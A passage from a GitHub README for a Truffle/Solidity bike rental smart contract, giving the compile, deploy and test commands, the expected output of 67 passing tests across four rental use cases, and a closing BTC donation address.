https://github.com/alejoacosta74/BikeRentalShop bikeRentalShop 181 | cd bikeRentalShop 182 | npm install 183 | truffle init 184 | ``` 185 | 186 | ### Compile 187 | 188 | ```bash 189 | truffle compile 190 | ``` 191 | 192 | On a separate terminal start Ganache-CLI: 193 | 194 | ```bash 195 | ganache-cli -m "" -h 0.0.0.0 196 | ``` 197 | 198 | ### Migrate and deploy to Ganache 199 | 200 | ```bash 201 | truffle migrate --network development 202 | ``` 203 | 204 | ### Run tests 205 | 206 | ```javascript 207 | truffle test --network development //run test suite against Ganache 208 | ``` 209 | 210 | ## Expected test outcome 211 | 212 | ```bash 213 | 214 | Contract: BikeRentalShop contract -> UseCase1: customer transfer Ether (above collateral threshold) and starts/stops bike rent 215 | At contract deployment 216 | ✓ Owner should transfer all tokens to BikeRental (107ms) 217 | UseCase1: #1. customer transfer Ether (above collateral threshold) and starts bike rent 218 | ✓ should update customer rental account by amount transferred (81ms) 219 | ✓ should update rental ether balance by amount transfered 220 | ✓ should emit event RentalStart 221 | ✓ should emit event BalanceUpdated 222 | ✓ customer should get premium "collateralized" rate (89ms) 223 | UseCase1: #2. customer finishes bike rental 224 | Rental elapsed time: 13 225 | ✓ Un-spent ether should be returned to customer 226 | ✓ Customer rental account balance should be zero (131ms) 227 | ✓ owner balance of ether should be incremented by ether worth equal to debited amount 228 | ✓ should emit event RentalStop 229 | ✓ should emit event DebtUpdated 230 | ✓ should emit event FundsReturned 231 | 232 | Contract: BikeRentalShop contract -> UseCase2: customer buys tokens, approves transfer of tokens, and starts/stops bike rent 233 | At contract deployment 234 | ✓ Owner should transfer all tokens to BikeRental (139ms) 235 | UseCase2: #1. customer buys tokens 236 | ✓ should increase owner Ether balance with same amount of Ether that customer sent to purchase tokens 237 | ✓ should decrease customer Ether balance with same amount of Ether that customer sent to purchase tokens 238 | UseCase2: #2. customer transfer Tokens (above collateral threshold) and starts bike rent 239 | ✓ should update customer rental account of tokens by amount transferred (129ms) 240 | ✓ should update rental balance of tokens by amount transferred (138ms) 241 | ✓ should emit event RentalStart 242 | ✓ should emit event BalanceUpdated 243 | ✓ customer should get premium "collateralized" rate (131ms) 244 | UseCase2: #3. customer stops bike rent 245 | Rental elapsed time: 13 246 | ✓ Un-spent tokens should be returned to customer (112ms) 247 | ✓ Token balance of bikeRental should be incremented by amount of debited tokens (94ms) 248 | ✓ Customer rental account balance should be set to zero (111ms) 249 | ✓ should emit event RentalStop 250 | ✓ should emit event DebtUpdated 251 | ✓ should emit event FundsReturned 252 | 253 | Contract: BikeRentalShop contract -> UseCase3: customer buys Tokens, approves transfer of tokens, starts/stops bike rent, debt is created, and customer transfer additional Ether to cancel debt 254 | At contract deployment 255 | ✓ Owner should transfer all tokens to BikeRental (106ms) 256 | UseCase3: #1. customer buys tokens 257 | ✓ should increase owner Ether balance with same amount of Ether that customer sent to purchase tokens 258 | ✓ should decrease customer Ether balance with same amount of Ether that customer sent to purchase tokens 259 | UseCase3: #2. customer starts bike rent 260 | ✓ should update customer rental account of tokens by amount transferred (143ms) 261 | ✓ should update rental balance of tokens by amount transferred (120ms) 262 | ✓ should emit event RentalStart 263 | ✓ should emit event BalanceUpdated 264 | ✓ customer should get standard rate (115ms) 265 | UseCase3: #3. customer stops bike rent and debt is generated 266 | Rental elapsed time: 17 267 | ✓ Standing debt should be equal to rental fee minus tokens transferred 268 | ✓ Debited token amount from customer should be equal to tokens transferred amount (109ms) 269 | ✓ Customer rental account balance should be set zero (77ms) 270 | ✓ should emit event RentalStop 271 | ✓ should emit event DebtUpdated 272 | ✓ should NOT emit event FundsReturned 273 | UseCase3: #4. Customer tries to rent again while debt is pending 274 | ✓ startRent should be reverted if debt is pending (741ms) 275 | UseCase3: #5. customer transfer Ether and debt is cancelled 276 | ✓ owner balance of ether should be incremented by ether worth equal to debited amount 277 | ✓ customer standing debt should be 0 (zero) (108ms) 278 | ✓ customer ether account balance should be 0 (zero) (83ms) 279 | ✓ should emit event FundsReceived 280 | ✓ should emit event BalanceUpdated 281 | ✓ should emit event DebtUpdated 282 | UseCase3: #6. customer transfer extra Ether 283 | ✓ owner balance of ether should NOT be incremented if debt is zero 284 | ✓ customer standing debt should be 0 (zero) (76ms) 285 | ✓ customer ether account balance should equal to amount of Ether transferred (76ms) 286 | ✓ should emit event FundsReceived 287 | ✓ should emit event BalanceUpdated 288 | ✓ should NOT emit event DebtUpdated 289 | 290 | Contract: BikeRentalShop contract -> UseCase4: customer buys Tokens, approves transfer of tokens, transfer Ether, and starts/stops bike rent 291 | At contract deployment 292 | ✓ Owner should transfer all tokens to BikeRental (81ms) 293 | UseCase4: #1. customer buys tokens 294 | ✓ should increase owner Ether balance with same amount of Ether that customer sent to purchase tokens 295 | ✓ should decrease customer Ether balance with same amount of Ether that customer sent to purchase tokens 296 | UseCase4: #2. customer sends 40.000 wei and starts bike rent 297 | ✓ should update customer rental account of tokens by amount transferred (78ms) 298 | ✓ should update rental balance of tokens by amount transferred (96ms) 299 | ✓ should emit event RentalStart 300 | ✓ should emit event BalanceUpdated 301 | ✓ customer should get standard rate (83ms) 302 | UseCase4: #3. customer stops bike rent, price is deducted from Tokens and Ether and remaining funds are returned 303 | Rental elapsed time: 15 304 | ✓ Debited token amount from customer should be equal to tokens transferred amount 305 | ✓ Debited ether amount from customer should be equal to total fee minus tokens debited from customer 306 | ✓ Customer rental Token account balance should be set zero (115ms) 307 | ✓ should emit event RentalStop 308 | ✓ should emit event DebtUpdated 309 | ✓ should emit event FundsReturned 310 | 311 | 312 | 67 passing (47s) 313 | ``` 314 | 315 | ## BTC address 316 | 317 | *bc1q89aalael3kr5vhjn6ss4g4fscxnesc9gw8sfyryhzq7nhdphlm9semr93f* 318 | 319 | @alejoacosta74 320 | --------------------------------------------------------------------------------